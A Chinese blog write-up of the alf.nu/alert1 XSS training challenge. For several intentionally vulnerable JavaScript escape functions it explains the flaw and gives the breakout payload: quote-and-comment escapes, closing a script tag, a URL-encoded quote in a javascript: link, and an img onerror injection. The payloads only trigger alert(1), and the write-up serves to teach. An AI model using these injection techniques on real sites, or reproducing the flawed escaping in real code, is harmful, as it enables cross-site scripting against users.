标签:标签 UNC bubuko 注释 string 转义 执行 san 目标
一个练习XSS的平台,地址:https://alf.nu/alert1
给出了一段JavaScript代码
function escape(s) { return ‘<script>console.log("‘+s+‘");</script>‘; }
对s没有任何校验,payload为
");alert(1);("
或者
");alert(1);//
代码如下
function escape(s) { s = s.replace(/"/g, ‘\\"‘); return ‘<script>console.log("‘ + s + ‘");</script>‘; }
全局替换了 " 为 \" ,就是说转义了双引号而没有转义转义字符 \
payload如下
\");alert(1)//
function escape(s) { s = JSON.stringify(s); return ‘<script>console.log(‘ + s + ‘);</script>‘; }
使用了JSON.stringify()函数对s进行处理,该函数会对双引号 " 和转义字符 \ 进行转义,没有对 < > ‘ / 字符进行处理。
payload如下
)</script><script>alert(1)//
闭合括号然后闭合script标签,创建一个新的script标签来执行alert(1),//注释掉多余的字符串
function escape(s) { var url = ‘javascript:console.log(‘ + JSON.stringify(s) + ‘)‘; console.log(url); var a = document.createElement(‘a‘); a.href = url; document.body.appendChild(a); a.click(); }
这个有点意思,先上payload吧
%22);alert(1)//
url是放到a标签的href属性中执行的,href 属性用于指定超链接目标的 URL,是支持URL编码的,%22是双引号 " 的URL编码
构造出的a标签为
<a href=javascript:console.log("%22);alert(1)//")></a>
a.click()执行的时候触发了alert(1)
function escape(s) { var text = s.replace(/</g, ‘<‘).replace(/"/g, ‘"‘); // URLs text = text.replace(/(http:\/\/\S+)/g, ‘<a href="$1">$1</a>‘); // [[img123|Description]] text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, ‘<img alt="$2" src="$1.gif">‘); return text; }
第一行代码将所有 < " 字符进行了转义
第二行是将形如 http://S+ 的字符串改写为 <a href="http://S+">http://S+</a> (S+为匹配一个非空白字符一次或多次)
第三行将形如 [[a|b]] 的字符串改写为 <img alt="b" src="a.gif">
先放出payload
[[a|http://onerror=alert(1)//]]
该函数构造的结果为
<img alt="<a href="http://onerror=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>
利用 // 来代替空格,href的起始 " 闭合alt的 ",在于 // 注释掉最后的 "
标签:标签 UNC bubuko 注释 string 转义 执行 san 目标
原文地址:https://www.cnblogs.com/superkrissV/p/9084461.html